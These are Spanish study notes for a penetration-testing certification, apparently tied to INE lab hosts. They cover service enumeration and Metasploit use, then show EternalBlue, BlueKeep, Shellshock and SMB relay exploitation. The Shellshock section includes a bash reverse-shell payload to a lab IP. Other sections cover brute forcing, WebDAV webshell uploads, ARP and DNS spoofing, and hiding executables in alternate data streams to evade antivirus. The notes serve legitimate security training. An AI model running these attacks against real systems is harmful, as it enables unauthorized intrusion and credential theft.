3. Enum Servicios / 3. SMB (445)
3. MSF Enum
[[1. MSF Enum Generico]]
Modulos
search type:auxiliary name:smb
| Modulo |
Explicacion |
OPTIONS IMPORTANTES |
| smb_version |
Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones
Nos puede dar mal los banners del OS, los que estan bien vienen entre () |
|
| smb_enumusers |
Enumera los usuarios smb |
|
| smb_login |
Realiza fuerza bruta para conseguir usuarios y contraseñas |
|
| smb_enumshares |
Enumera los recursos compartidos |
SHOWFILES=TRUE : nos muestra los archivos de los recursos compartidos |
| windows/smb/psexec |
Conexion al target mediante psexec Se obtiene un Meterpreter |
|
eJPTv2
3. Enum Servicios / 3. SMB (445)
4. Smbclient, Smbmap Y Rpcclient
Smbclient
| smbclient -L \\IP\ -U usuario |
Nos lista (-L) los recursos compartidos |
| smbclient -L -N \\IP\ |
Nos lista (-L) los recursos compartidos como usuario anonimo (-N) |
| smbclient \\IP\NOMBRE_RECURSO_COMPARTIDO -U usuario |
Acceder al recurso compartido |
Rpcclient
| Comando |
Explicacion |
| rpcclient IP/hostname.dominio -U dominio/usuario-anonymous |
Conectarse a smb mediante usuario o anonimo |
| nmblookup -A hostname.dominio/IP |
Enumerar informacion del SMB host devolviendo nombres NetBIOS |
eJPTv2
3. Enum Servicios / 4. Webserver (80 443)
1. MSF Enum
[[1. MSF Enum Generico]]
Modulos
Auxiliares
search type:auxiliary name:http
| Modulo |
Explicacion |
OPTIONS IMPORTANTES |
| http_version |
Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones |
PORT 80 o 443 SSL fasle o true |
| http_header |
Nos revela los hearders de la web
Se puede cambiar a GET |
|
| http_put |
Verifica si se puedan hacer puts o deletes poniendo un archivo cualquiera
ACTION: put o delete |
FILEDATA archivo, PATH, ACTION |
| robots_txt |
Nos revela el contenido del robots.txt |
PATH /, VHOST nombre.domio.algo |
| dir_scanner |
Realiza un fuzzing de directorios
Nos interesan los codigos: - 200 - 301: son redirecciones - 401: mirar si existen |
DICCIONARY, PATH |
| files_dir |
Reliza un fuzzing de archivos de la web con sus extensiones y recursos |
EXT, PATH |
| apache_userdir_enum |
Enumera usuarios validos del servidor apache mediante una wordlist |
USER_FILE |
| http_login |
Realiza una fuerza bruta de usuarios y contraseñas en una ruta la cual pida credenciales (ej. /secure que tiene un form de autenticacion) |
AUTH_URI /ruta, BRUTEFORCE_SPEED <1-5>, PASS_FILE, USER_FILE, VERBOSE |
| robots.txt |
Mirar si tiene /robots.txt |
TARGETURI |
| brute_dirs |
Fuzzing directorios web |
TARGETURI WORDLIST |
| iis_webdav_upload_asp |
Subir archivo asp al WebDAV |
HTTPPASSWORD HTTPUSERNAME PATH /RUTA/ARCHIVO.ASP |
eJPTv2
3. Enum Servicios / 5. Mysql (3306)
1. Interactuar
| Comando |
Explicacion |
| mysql -n IP -u USER -p |
Nos conectamos a una bbdd SQL remota (-n) |
|
|
| COMANDOS INTERNOS |
|
| show databases; |
Muestra bases de datos |
| use database; |
Usa base de datos dada |
| show tables; |
Muestra tablas de la base de datos |
| select * from table (where campo == “algo”) |
Muestra todos los campos de la tabla (que coincidan con) |
eJPTv2
3. Enum Servicios / 5. Mysql (3306)
2. MSF Enum
[[1. MSF Enum Generico]]
Modulos
Modulos auxiliares
search type:auxiliary name:mysql
| Modulo |
Explicacion |
OPTIONS IMPORTANTES |
| mysql_version |
Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones |
|
| mysql_login |
Realiza una fuerza bruta
El usuario admin por defaul es: root |
USERNAME root, PASS_FILE, STOP_ON_SUCCESS, VERBOSE |
| mysql_enum |
Enumera las databases
/admin/ : esto significa que es un modulo que requiere de privilegios admin |
USERNAME, PASSWORD |
| mysql_sql |
Ejecuta sql queries
CAMPO “SQL” se pondra la querie que se ejecutara. Tipo: show databases; select version(); use NOMBRE_TABLE; select * from TABLE (where CAMPO == “algo”)
/admin: requiere de privilegios admin |
SQL, USERNAME, PASSWORD |
| mysql_schemadump |
Nos da todas las bbdd, tablas… |
USERNAME, PASSWORD |
| mysql_file_enum |
Pasado un archivo con nombres de archivos, verifica si existen en el servidor SQL |
FILE_LIST rutas_archivos.txt |
| mysql_hashdump |
Hace un volcado de hashes |
|
| mysql_writable_dirs |
Encuentra los directorios que son escribibles |
DIR_LIST paths.txt |
eJPTv2
3. Enum Servicios / 6. SSH (22)
1. Interactuae
| Comando |
Explicacion |
| ssh username@IP |
Iniciar sesion con usuario y contraseña |
| ssh username@IP -i /ruta/pubkey |
Iniciar sesion con clave publica
La pubkey suele tener esta ruta: ~/.ssh/id_rsa.pub |
eJPTv2
3. Enum Servicios / 6. SSH (22)
2. MSF Enum
[[1. MSF Enum Generico]]
Modulos
Auxiliares
search type:auxiliary name:ssh
| Modulo |
Explicacion |
OPTIONS IMPORTANTES |
| ssh_verion |
Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones |
|
| ssh_enumusers |
Enumerar users a partir de una wordlist |
USER_FILE |
| ssh_login |
Realiza una fuerza bruta
Si consigue unas credenciales validas abre una sesion ssh interactiva:
- Ctl C para parar el modulo y volver a msf - sessions : para ver las sesiones abiertas - sessions N: abrir esa sesion en concreto - /bin/bash -i: dentro de la conexion ssh para que se vea mas como una terminal
|
USER_FILE, PASS_FILE |
| ssh_login_pubkey |
Lo mismo que _login solo que cuando te pide una clave publica en vez de una contraseña
La pubkey suele tener esta ruta: ~/.ssh/id_rsa.pub |
|
eJPTv2
3. Enum Servicios / 7. SMTP (25 465 O 586)
1. Interaccion
PUERTO –> 25/TCP (no ssl)
465 y 586 (ssl)
| Comando |
Explicacion |
| netcat hostname.dominio/IP PUERTO |
Se conecta a SMTP |
| telnet hostname.dominio/IP PUERTO |
Se conecta a SMTP |
|
|
| COMANDOS INTERNOS |
|
| VRFY nombre_usr |
Verifica si existe ese usuario |
| EHLO nombre_usr |
Nos mustra comandos y capacidades disponibles |
| MAIL FROM:nombre_cualquier@dominio_cualquier |
Indica que se va a mandar un email siendo emisor este |
| RCPT TO: usuario |
Se indica el receptor |
DATA Subject: asunto |
Comienza a escribir el cuerpo hasta que en una linea vacia haya un “.” y se de enter |
| sendmail -f usuario_cualquiera@dominio_cualquiera -t usuario_dominio -u “Asunto” -m “Cuerpo” -s hostname_smtp -o tls=no |
Enviar un mail sin ssl |
eJPTv2
3. Enum Servicios / 7. SMTP (25 465 O 586)
2. SMTP
PUERTO –> 25/TCP (no ssl)
465 y 586 (ssl)
[[1. MSF Enum Generico]]
Modulos
Auxiliares
| Modulo |
Explicacion |
OPTIONS IMPORTANTES |
| smtp_version |
Nos revela info de version del servicio, host… Nos permite mas adelante encontrar vulnerabilidades a esas versiones |
|
| smtp_enum |
Enumera usuarios a partir de una wordlist |
USER_FILE |
eJPTv2
3. Enum Servicios / 8. RDP (3389)
1. Interaccion
xfreerdp /u:<USER> /p:<PASS> /v:<IP_OBJETIVO>
Obtenemso una GUI
![[Pasted image 20260317192332.png]]
eJPTv2
3. Enum Servicios / 8. RDP (3389)
2. MSF Enum
Modulos
Auxiliares
| rdp_scanner |
Mira si RDP esta activo en el destino |
eJPTv2
3. Enum Servicios / 9. Winrm (5985)
1. Interactuar
Nos permite conexion remota mediante una shell
| Comandos |
Explicacion |
| [[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u <USER> -p <PASS> |
Comprobar que las creds funcionan |
| [[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u <USER> -p <PASS> -e <COMANDO> |
Ejecutar comando remoto |
| [[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u /wordlist -p /wordlist |
Fuerza bruta [[3. Enum Servicios/9. WinRM (5985)/2. MSF Enum|MSF]] –> winrm_login |
|
|
|
|
| evil-winrm -u <USER> -p <PASS | Hash NTML> -i <OBJETIVO> |
Loggeaerse |
eJPTv2
3. Enum Servicios / 9. Winrm (5985)
2. MSF Enum
Modulos
Auxiliares
| Modulo |
Explicacion |
| winrm_login |
Fuerza bruta |
| winrm_auth_methods |
Enumera metodos de autenticacion: hash NTLM (Negotiate protocol), creds (basic)… |
| winrm_script_exec |
Ejecutar comandos o abrir una shell meterpreter
set FORCE_VBS true
set CMD <COMANDO> –> ejecutar comandos |
eJPTv2
3. Enum Servicios
Indice De Servicios
[[1. MSF Enum Generico]]
-
FTP
- [[3. Enum Servicios/7. SMTP (25 - 465 o 586)/1. Interaccion|1. Interaccion]]
- [[3. Enum Servicios/2. FTP (21)/2. MSF Enum|2. MSF Enum]]
-
SMB
- [[3. Enum Servicios/3. SMB (445)/1. Interaccion |1. Interaccion]]
- [[2. Nmap Scripts NSE]]
- [[3. MSF Enum]]
- [[4. Smbclient, smbmap y rpcclient]]
-
WebServer
- [[3. Enum Servicios/4. WebServer (80-443)/1. MSF Enum|1. MSF Enum]]
-
MySQL
- [[3. Enum Servicios/5. MySQL (3306)/1. Interactuar]]
- [[3. Enum Servicios/5. MySQL (3306)/2. MSF Enum|2. MSF Enum]]
-
SSH
- [[1. Interactuae]]
- [[3. Enum Servicios/6. SSH (22)/2. MSF Enum|2. MSF Enum]]
-
SMTP
- [[3. Enum Servicios/7. SMTP (25 - 465 o 586)/1. Interaccion|1. Interaccion]]
- [[2. SMTP]]
-
RDP
- [[3. Enum Servicios/8. RDP (3389)/1. Interaccion|1. Interaccion]]
- [[3. Enum Servicios/8. RDP (3389)/2. MSF Enum|2. MSF Enum]]
-
WinRM
- [[3. Enum Servicios/9. WinRM (5985)/1. Interactuar|1. Interactuar]]
- [[3. Enum Servicios/9. WinRM (5985)/2. MSF Enum|2. MSF Enum]]
eJPTv2
4. Vulnerabilidades / 1. Buscar Vulns
1. MSF Y Searchsploit
MSF Buscar vulns
Busca exploit para vulnerabilidades con MSF
| Comandos |
search type:exploit name:“NOMBRE_MODULO”
O
search protocolo VERSION |
| use MODULO |
| info |
| show options |
| set OPTIONS |
| run |
Searchsploit
| Comandos |
Explicacion |
| searchsploit <PROTOCOLO VERSION> |
Buscar exploits |
| searchsploit <PROTOCOLO VERSION> | grep -e “Metasploit” |
Buscar exploits con modulos en MSF |
| searsploit -m NUM_ARCHIVO |
Lo copiamos en la ruta actual |
| nano NUM_ARCHIVO |
Editamos el exploit |
Mas ejemplos de uso searchsploit
| searchsploit -t vsftpd o Buffer Overflow… |
Saldran los exploits que tenga vsftpd como titulo |
| searchsploit -e “Windows XP” | grep -e “Microsoft” |
Exact match |
| searchsploit remote windows smb -w | grep -e “EternalBlue” |
En vez de paths nos da los enlaces a exploit-db.com |
eJPTv2
4. Vulnerabilidades / 1. Buscar Vulns
2. Exploit Db Y Google
Es el searchsploit web –> https://exploit-db.com
![[Pasted image 20260318164205.png]]
eJPTv2
4. Vulnerabilidades / 2. Windows / 1. Iis Webdav Wmap
1. Webdav
Es importante tener en cuenta las extensiones soportadas por el webserver para ejecutar codigo remoto ([[7. gobuster]]):
WebDAV: extension del protocolo HTTP que permite a los usuarios editar y gestionar archivos remotos en un webserver. Da la funcion de fileserver a un webserver
Requiere de creds ([[1. Fuerza Bruta - Hydra y MSF login]])
Herramientas
davset
- *davtest: usado para escanear, autenticar y explotar WebDAV
| davtest |
Es como el help, nos da una lista de opciones |
| davtest -url http://IP/webdav\ -auth USER:PASSWORD\ |
RESULTADOS: - Nos dice que files pueden ser cargados, descargados, ejecutados… - Se crea una cadena aleatoria para esta sesion que se adjunta junto a los archivos que se envian como prueba, esto lo hace para saber si webdav permite subir archivos y cuales se pueden ejecutar - Verifica las extensiones que nos deja para ejecutar y nos lo marca en SUCCEED. En este caso: .txt, .html y .asp (este ultimo es el importante porque es al que se le puede meter codigo para que se ejecute) - Nos da un resumen |
cadaver
- cadaver: soporta subida, descarga de archivos por pantalla. Tambien edicion, operaciones copy/move, vreaciones de colecciones, borrado, manipulacion y bloquedo de recursos
| cadaver –help |
|
| cadaver http://IP/webdav\ |
Entramos al webdav con las credenciales |
| ls |
|
| put /usr/share/webshell/asp/webshell.asp |
|
| Volvemos al navegador en /webdav/ |
Si refrescamos veremos el webshell.asp y si entramos dentro tendremos nuestro webshell disponible para ejecutar comandos |
Ejemplo vulnerando un WebDav con MSF
![[Pasted image 20260317174526.png]]![[Pasted image 20260317174534.png]]![[Pasted image 20260317174547.png]]![[Pasted image 20260317174603.png]]
eJPTv2
4. Vulnerabilidades / 2. Windows / 1. Iis Webdav Wmap
2. Wmap Para Escaneo WEB
Escaneo de vulnerabilidades web que puede ser usado para autoamtizar la enumeracion y app vulnerability
Disponible en MSF como plugin y puede ser cargado directamente en MSF. Integrada en MSF nos permite realizar escaneos
Comandos
| Comando |
Explicacion |
| service postgresql start |
|
| msfconsole |
|
| workspace -a wmap |
|
| setg RHOST/S IP |
|
| load wmap |
|
| wmap_ |
Si le damos tab nos saldran todas las opciones de comandos wmap |
| wmap_sites -h |
|
| wmap_sites -a IP |
Añade un sitio web a la base de datos WMAP |
| wmap_targets -h |
|
| wmap_targets -t http://IP |
Define esa URL como objetivo |
| wmap_sites -l |
Lista los sitios web añadidos |
| wmap_targets -l |
Lista los objetivos añadidos |
| wmap_run -t |
Muestra y ejecuta todos los modulos auxiliares utiles para enumerar el website |
| wmap_run -e |
Corre los modulos |
| wmap_vulns -h |
|
| wmap_vulns -l |
Lista las vulnerabilidades encontradas por WMAP |
eJPTv2
4. Vulnerabilidades / 2. Windows / 1. Iis Webdav Wmap
3. Httpfileserver 2.3.x Rejetto
Rejetto tiene modulo MSF
![[Pasted image 20260317201011.png]]
eJPTv2
4. Vulnerabilidades / 2. Windows / 2. SMB
1. Explotando MS17 010 SMB Vuln (eternalblue)
Afecta a: Windows Vista / 7 / 2008 / 8.1 / 2012 / 10 / 2016
Explotacion manual con AutoBlue
https://github.com/3ndG4ms/AutoBlue-MS17-010
| Comando |
Explicacion |
| sudo nmap -sV -O -p445 IP |
|
| sudo nmap -sV –script=smb-vuln-ms17-010 -p445 IP |
Nos dice si la version SMB es vulnerable |
| git clone URL |
|
| pip install -r requirements.txt |
|
| cd shellcode |
|
| chmod +x ./shell_prep.sh |
|
| ./shell_prep.sh |
Es un script en el cual podemos configurar dinamicamente el shell que queremos enviar al ejecutar AutoBlue |
Y LHOST IP LPORT N 1 (shell de comandos normal) 1 (payload sin estado) |
Se crean dos archivos .bin, uno para x64 y otro para x86 |
| nc -nlvp N |
En otra terminal abrimos un listener |
| cd /AutoBlue |
Exactamente a la version de nuestro target, en nuestro caso la 2008 |
| chmod +x eternalblue_exploit.py |
|
| python eternalblue_exploit.py shellcode/sc_x64.bin |
Ejecutamos el script python con el shell que creamos previamente |
| Volvemos al listener y tendremos nuestra shell |
|
Explotacion automatica con MSF
| Comando |
Explicacion |
| msfconsole |
|
| search eternalblue |
|
| use /auxiliary/scanner/ |
Para ver si es vulnerable el objetivo |
| set OPTIONS |
|
| run |
|
| use /exploit/…/eternalblue |
|
| set OPTIONS |
|
| run |
Nos da una shell meterpreter |
eJPTv2
4. Vulnerabilidades / 2. Windows / 2. SMB
2. Login Psexec
La autenticacion es via SMB
Se necesita –> user + PASSWORD/HASH
Manual
imapcket-psexec <USER>@<TARGET> cmd.exe
MSF
| Comandos |
Explicacion |
| msfconsole -q |
|
| search windows/smb/psexec |
|
| set OPTIONS |
|
| run |
Obtenemos Meterpreter |
eJPTv2
4. Vulnerabilidades / 2. Windows / 3. RDP
1. Explotando Windows Cve 2019 0708 RDP (bluekeep)
Sistemas vulnerables: Windows XP / Vista / 7 / 2008 & R2
Comandos LAB
| Comando |
Explicacion |
| sudo nmap -sS -Pn -p3389 -T4 IP |
|
| msfconsole |
|
| use /auxiliary/scanner/…bluekeep |
|
| set OPTIONS |
|
| run |
|
| use /exploit/…/bluekeep |
|
| set OPTIONS |
|
| show target |
Hay que elegir el del hipervisor que estemos usando porque sino dara error |
| set target N |
|
| run |
|
eJPTv2
4. Vulnerabilidades / 2. Windows / 3. RDP
2. Explotando RDP
Se necesitan credenciales validas para conectarse via rdp y obtener una GUI
| Comandos |
Explicacion |
| msfconsole -q |
|
| search rdp_scanner |
Verifica que RDP esta activo en el objetivo |
| use |
|
| set OPTIONS |
|
| run |
|
|
|
|
|
| [[1. Fuerza Bruta - Hydra y MSF login|hydra]] -L /wordlist -P /wordlist rdp://<OBJETIVO> -s <PUERTO> |
Fuerza bruta par conseguir creds |
|
|
|
|
| xfreerdp /u:<USER> /p:<PASS> /v:<IP_OBJETIVO> |
|
![[Pasted image 20260317192325.png]]
eJPTv2
4. Vulnerabilidades / 2. Windows / 4. Winrm
1. Explotando Winrm
| Comandos |
Explicacion |
| [[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u <USER> -p <PASS> |
Comprobar que las creds funcionan |
| [[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u <USER> -p <PASS> -e <COMANDO> |
Ejecutar comando remoto |
| [[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u /wordlist -p /wordlist |
Fuerza bruta |
|
|
|
|
| evil-winrm -u <USER> -p <PASS | Hash NTML> -i <OBJETIVO> |
Loggeaerse |
| winrm_script_exec |
Ejecutar comandos o abrir una shell meterpreter
set FORCE_VBS true –> crear shell
set CMD <COMANDO> –> ejecutar comandos |
|
|
| msfconsole |
|
| search winr_cmd |
Loggearse desde MSF |
eJPTv2
4. Vulnerabilidades / 2. Windows / 5. Alternate Data Streams
1. Alternate Data Streams
Es un NTFS (New Technology File System) diseñado para compatibilidad con MacOS. Todo archivo creado en formato NTFS tendra 2 diferentes forks/streams:
- Data Stream: default stram que contiene los datos del archivo
- Resouce Stream: contiene la metadata
Se puede usar para esconder codigo malicioso o ejecutables en archivos legitimos para evadir la deteccion
Esto se puede hacer guardando el codigo malicioso en el Resource Stream (metadata) de un archivo legitimo
Se suele usar para evadir firmas basicas de AVs y escaneos estaticos de prueba
Ejemplo
![[Pasted image 20260317203441.png]]
Lo guardamos. Miramos los metadatos (Resource Stream)
![[Pasted image 20260317203451.png]]
Borramos el .txt y ahora lo creamos de la siguiente forma:
![[Pasted image 20260317203459.png]]
El editor realmente esta abriendo hide.txt y solo se muestra que se ha creado test.txt
Guardamos y cerramos. Ahora abrimos test.txt que estara vacio
![[Pasted image 20260317203515.png]]
Normalmente en el archivo legitimo se le coloca contenido legitimo. Ejemplo, si es un archivo de logs, meteriamos logs:
![[Pasted image 20260317203523.png]]
Guardamos y cerramos
![[Pasted image 20260317203637.png]]
Como vemos no esta hide.txt. Para verlo:
![[Pasted image 20260317203531.png]]
Podriamos meter detras de un archivo .pdf o .exe un WinPEAS por ejemplo
Si fuera un .exe lo que hubieramos metido, se iniciaria asi:
![[Pasted image 20260317203539.png]]
En nuestro caso es un .txt por eso salta el error
SI NOS DA ERROR AL EJECUTAR EL .EXE
Abrimos cmd con privs y creamos un link entre un ejecutable y el nuestro
![[Pasted image 20260317203554.png]]
Si despues ejecutamos el ejecutable se ejecutara nuestro archivo escondido:
![[Pasted image 20260317203600.png]]
eJPTv2
4. Vulnerabilidades / 3. Linux / 1. Webapp Con Cgis (apache)
1. Exploiting Bash Cve 2014 6271 (shellshock Apache 2.4.6)
Apache webserver esta configurado para correr scripts CGI o .sh scripts
Comandos LAB
| Comando |
Explicacion |
| nmap -Pn -sS -sV -T4 IP |
Vemos que tiene un http por el puerto 80 |
| Miramos la web en el navegador |
|
| Vemos que tiene lo que parece ser un trozo de texto dinamico, con otra fuente respecto al resto de la interfaz… Parece un CGI script |
|
| Ctl U |
Para ver el codigo fuente y vemos un apartado <script> y dentro un GET “archivo.cgi” que lo envia cada 1s |
| En el navegador: IP/archivo.cgi |
Vemos que nos sale lo mismo que salia en la interfaz principal |
| nmap -Pn -sS -sV -T4 –script=http-shellshock –script-args “http-shellshoc.uri=gettime.cgi” |
Nos dice que es VULNERABLE |
Explotacion manual con Burp Suite
| Comando |
Explicacion |
| Abrimos burp suite con intercept on |
|
| Recargamos IP/gettime.cgi |
Esto hara que nos salga en el Burp lo que estamos enviando al servidor como clientes |
| Lo mandamos al Repeater |
Para hacer mas consultas sin tener que estar recargando la pagina o yendo para atras en el navegador |
| User-Agent: Borramos su valor |
|
| nc -nlvp LPORT |
|
| () { :; }; echo; echo; /bin/bash -c ‘COMANDO’ |
COMANDO: /bin/bash -i >& /dev/tcp/192.101.85.2/1234 0>&1 |
| Lo enviamos en Burp |
Obtendremos una reverse shell en el listener |
Explotaciona automatica con MSF
| Comando |
Explicacion |
| service postgrestql start |
|
| search shellsock |
Tiene un modulo auxiliar y un modulo exploit |
| use auxiliar |
|
| set OPTIONS |
|
| run |
Es vulnerable |
| use exploit |
|
| set OPTIONS |
RHOST RPORT TARGETURI /gettime.cgi |
| run |
Obtenemos un sesion Meterpreter |
eJPTv2
4. Vulnerabilidades / 4. Vulns De Red
1. Netbios Y SMB
NetBIOS
Es una API y un conjunto de protocolos de red que proveen comunicacion de servicios sobre una red local. Es usado prinicipalmente para permitir que las aplicaciones de diferentes maquinas encutren e interactuen entre ellas en la red
Funciones:
- Name Service (NetBIOS-NS): permite a las maquinas registrarse, desregistrarse y resolver nombres en una red local
- Datagram Service (NetBIOS-DGM): aporta comunicacion inalambrica y broadcasting
- Session Service (NetBIOS-SSN): proporciona comunicacion orientada a conexion para transferencias mas confiables
SMB
Protocolo de comparticion de archivos que permite a las maquinas de una red compartir archivos, impresoras y otros recursos
Versiones:
- SMB 1.0: la version original que tiene vulnerabilidades. Usado por sistemas que usaban Windows XP
- SMB 2.0/2.1: introducido con Windows Vista/Windows Server 2008 ofreciendo una mejora de rendimiento y seguridad
- SMB 3.0: introducido con Windows 8/Windows Server 2012 que anade caracteristicas de encriptacion, multichannel support y mejoras para la virtualizacion
Comandos
| nmap -Pn -sS -sV -T4 demo.ine.local |
Vemos un 139 NetBIOS (Session Service) y un 445 SMB |
| nbtscan |
Es un scan de redes para NetBIOS. Sin opciones nos dara un help |
| nbtscan IP_red/mascara |
Nos podria decir los nombres NetBIOS de la red (No funciona en este caso) |
| nmblookup -A IP |
Realiza un escaneo NetBIOS a esa IP |
| nmap -sU -p137 demo.ine.local |
Nos da open|filtered: no sabemos exactamente su estado |
| nmap -Pn -n -sU -sV -T4 –script=nbstat.nse -p137 demo.ine.local |
No nos da nada como el nombre de este sistema |
Vamos a proceder con el SMB enumeration
| Comandos |
Explicacion |
| nmap -Pn -sV -T4 -p139,445 demo.ine.local |
No nos dice nada exacto pero nos da que es un Windows Server. El siguiente paso sera ver que version SMB soporta |
| nmap -p445 –script smb-protocols demo.ine.local |
Vemos que tenemos un SMBv1 que es dangerous y luego nos salen otras versiones como 2.0.2, 2.1, 3.0 y 3.0.2 |
| nmap -p445 —scritp smb-security-mode demo.ine.local |
Ahora hemos querido mirar el nivel de seguridad de SMB
Podemos ver nmap uso al usuario guest para descubrir que: Nada interesante |
| smbclient -L demo.ine.local |
-L significa cuenta anonima, cuando nos pida pass solo le damos a enter Enumera los recursos compartidos si esta permitido, en este caso lo esta En la salida podemos ver que se esta usando SMBv1 |
|
|
| Ya que tenemos acceso anonimo podemos realizar un userenum para smb |
|
| nmap -p445 –script smb-enum-users demo.ine.local |
Encontramos a: -admin -Administrator -Guest -root
Veremos sus RID y una flag que nos dice si es una cuenta normal, administrativa o para guests |
|
|
Ahora podemos hacer fuerza bruta sobre estos usuarios Nos creamos un archivo con los nombres de estos usuarios |
|
| hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt smb demo.ine.local |
Encontramos varias creds Nos interesa la de adminsitrator |
| imapcket-psexec [email protected] |
Nos pedira la contrasena y tendremos acceso |
|
|
| Podemos usar tambien el module de MSF Psexec |
|
| msfconsole -q |
|
| search psexec |
|
| use /exploit/windows/smb/psexec |
|
| set rhosts demo.ine.local |
|
| set smbuser adminsitrator |
|
| set smbpass password |
|
| set payload windows/x64/meterpreter/reverse_tcp |
|
| run |
|
| net view IP_demo1 |
Con esto veremos los shares de demo1.ine.local. Es un comando de Windows |
net use D: \\IP_demo1\Documents net use K: \\IP_demo1\K$ |
Esto lo hacemos para poder navegar por ellos |
dir D: dir K: |
|
eJPTv2
4. Vulnerabilidades / 4. Vulns De Red
2. Snmp
Simple Network Management Protocol es un protocolo para monitorizacion y gestion de dispositivos de red como routers, switches, servers, impresoras…
SNMP es un protocolo de capa de aplicacion que tipicamente usa UDP para el transporte. Tiene 3 principales componentes:
- SNMP Manager: sistema responsable de consultar e interactuar con agentes SNMP en dispositivos de red
- SNMP Agent: sw que corre en un dispositivo de red que responde a consultas SNMP
- Management Information Base (MIB): una bbdd jerarquica que define la estructura de los datos disponibles de SNMP. Cada pieza tiene su OID u Object Identifier unico
Versiones SNMP:
- SNMPv1: la primera version que usa strings (esencialmente passwords) para la autenticacion
- SNMPv2c: una mejora de la primera que tiene soporte a transferencia voluminosas pero se sigue confiando en cadenas comunitarias o community strings para autenticacion
- SNMPv3: Introduce caracteristicas de seguridad incluida la encriptacion, integridad de mensajes y autenticacion basada en usuario
Puerto –> 161/UDP (para queries) y 162/UDP (para SNMP notifications)
SNMP Enumeration
La enumeracion SNMP involucra que el querying SNMP este habilitado en los dispositivos para recopilar informacion para identificar posibles vulns, malas configuraciones o puntos de ataque
Objetivos principales de la enumeracion SNMP:
- Identificar SNMP-Enabled Device: determinar los dispositivos de la red que tienen SNMP habilitado y si son vulnerables a ataques de exfiltracion de informacion
- Extraer informacion del sistema: recoger informacion relacionada con el sistema como nombre de los dispositivos, SOs, versiones sw, interfaces de red y mas
- Identificar SNMP Community Strings o cadenas comunitarias: testear las default y weak community strings que nos pueden dar autorizacion a informacion del dispositivo
- Recuperar informacion de la red: recopilar informacion sobre tablas routing, interfaces de red, IPs y mas detalles especificos de la red
- Recoger informacion de usuarios y grupos: a veces SNMP nos puede devolver informacion sobre las cuentas y permisos de acceso
- Identificar servicios y aplicaciones: Encontrar que servicios y aplicaciones estan corriendo en los objetivos para aumentar los vectores de ataques
Comandos
| Comandos |
Explicacion |
| nmap -sU -sV -p161 demo.ine.local |
Esta abierto y version 1 |
|
|
Podemos realizar un brute force para identificar community Strings
Para encontrar el wordlist que usaremos:
ls -la /usr/share/nmap/nselib/data/ | grep -e “snmp” |
snmpcommunities.lst |
| nmap -sU -p161 –script snmp-brute deno.ine.local |
Vemos que hemos encontrado 3 community strings: public, private y secret |
|
|
| Ahora podemos usar una nueva herramienta que nos dara mas informacion ahora que sabemos las community strings |
|
| snmpwalk -v 1 -c public demo.ine.local |
Nos saldra muchisima informacion y la mayoria no sera ni legible |
| nmap -sU -p161 –script snmp-* demo.ine.local > snmp_info |
Usamos todos los scripts de nmap para ver si encontramos algo legible |
| cat snmp_info |
Vemos que tenemos toda la informacion de antes pero ahora en un formato legible
Info que obtenemos: - Sw instalado - Network info - Community String por brute force - Servicios que corren en el sistema Windows - Interfaces de red - Users accounts |
|
|
| Vamos a usar estos usuarios para autenticarnos |
|
| hydra -l administrator -P /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt demo.ine.local smb |
|
|
|
| Ahora nos podriamos autenticarnos un psexec |
|
eJPTv2
4. Vulnerabilidades / 4. Vulns De Red
3. SMB Relay
Un ataque SMB Relay es un ataque de red donde el atacante intercepta el trafico SMB, lo manipula y retransmite la informacion a un servidor legitimo para ganar acceso no autorizado a recursos o realizar acciones maliciosas
Como funciona
-
Interceptacion: el atacante realiza un man in the middle entre el cliente y el servidor. Puede ser hecho por muchas tecnicas como ARP Spoofing, DNS poisoning o creando un SMB server falso
-
Capturar la autenticacion: cuando un cliente se conecta a un servidor legitimo, SMB envia una data de autenticacion. El atacante la captura esta puede incluir hasta el hash NTLM
-
Retransmitir la informacion al servidor legitimo: en vez de desencriptar el hash NTLM el atacante envia la informacion al otro servidor que confia el origen. Esto permite al atacante impersonar el usuario del que capturo el hash
-
Ganar acceso: si el envio de informacion es correcto, el atacante gana acceso al recurso en el servidor que puede incluir archivos sensibles, bases de datos o privilegios administrativos. Este acceso puede llevar a un lateral movement dentro de la red comprometiendo otros sistemas
Comandos
Escenario
![[Pasted image 20260227203158.png]]
| Comando |
Explicacion |
| ifconfig |
|
| msfconsole -q |
|
| search smb_relay |
|
| use smb_relay |
|
| set srvhost NUESTRA_IP |
|
| set LHOST NUESTRA_IP |
|
| set smbhost IP_SMBSERVER_DADA |
|
|
|
| Abrimos una nueva terminal antes de iniciar el modulo para hacer un spoofing en la red |
|
| echo “NUESTRA_IP *.sportsfoo.com” > dns |
Con esto diremos que nuestra IP se resuelva como cualquier dominio o subdominio *.sporsfoo |
|
|
| Ahora haremos el DNS spoof |
|
| dnsspoof -i eth1 -f dns |
|
|
|
Ahora podemos establecer el MITM attack usando ARP spoofing y nuesto objetivo es envenenar entre el CLIENT y el default gateway
Esto nos permite manipular el trafico usando DNS spoof |
|
|
|
| Abrimos una nueva terminal |
|
| echo 1 > /proc/sys/net/ipv4/ip_forward |
Habilitamos el ip forwarding |
| En este misma terminal haremos el ARP spoof |
|
| arpspoof -i eth1 -t IP_CLIENT IP_GATEWAY |
|
|
|
| Abrimos una nueva terminal para hacer el ARP spoof attack a la inversa |
|
| arpspoof -i eth1 -t IP_GATEWAY IP_CLIENT |
Nos salen conexiones ya que cada vez que el CLIENT realice una conexion SMB, el DNS spoof alineado con el ARP spoof olvida la respues DNS diciendo al sistema que el DNS address que esta buscando se resuelve con la IP de la Kali |
|
|
| Volvemos al MSF y ahora si lo corremos |
|
| run |
Se ejecuta en segundo plano |
| jobs |
Veremos la tarea |
|
|
| Ahora vamos a la terminal del DNS spoof |
|
| Podemos ver como el CLIENT intenta resolver fileserver.sportsfoo.com por ejemplo y nos lo manda a nostros |
|
|
|
| sessions |
Tendremos una sesion Meterpreter |
